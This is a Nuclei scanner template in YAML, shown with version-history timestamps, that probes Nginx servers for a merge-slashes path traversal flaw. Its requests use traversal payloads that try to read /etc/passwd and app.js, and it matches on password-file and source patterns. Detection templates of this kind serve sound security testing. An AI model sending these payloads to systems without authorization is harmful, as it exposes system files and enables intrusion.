nuclei-templates/vulnerabilities/other/nginx-merge-slashes-path-tr...

34 lines
1.1 KiB
YAML
Raw Normal View History

id: nginx-merge-slashes-path-traversal
info:
name: Nginx Merge Slashes Path Traversal
author: dhiyaneshDk
severity: medium
2021-10-13 09:00:39 +00:00
description: A vulnerability in the remote Nginx server could cause the server to merge slashslash together causing what should have protected the web site from a directory traversal vulnerability into a vulnerable server.
reference:
- https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/nginx-merge-slashes-path-traversal.json
- https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d
2021-07-23 21:55:22 +00:00
tags: exposure,config,lfi,nginx
requests:
- method: GET
path:
2021-07-23 21:55:22 +00:00
- "{{BaseURL}}///////../../../etc/passwd"
- "{{BaseURL}}/static///////../../../../etc/passwd"
- "{{BaseURL}}///../app.js"
stop-at-first-match: true
matchers-condition: and
matchers:
2021-07-23 21:55:22 +00:00
- type: regex
regex:
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
- "app.listen"
part: body
condition: or
- type: status
status:
- 200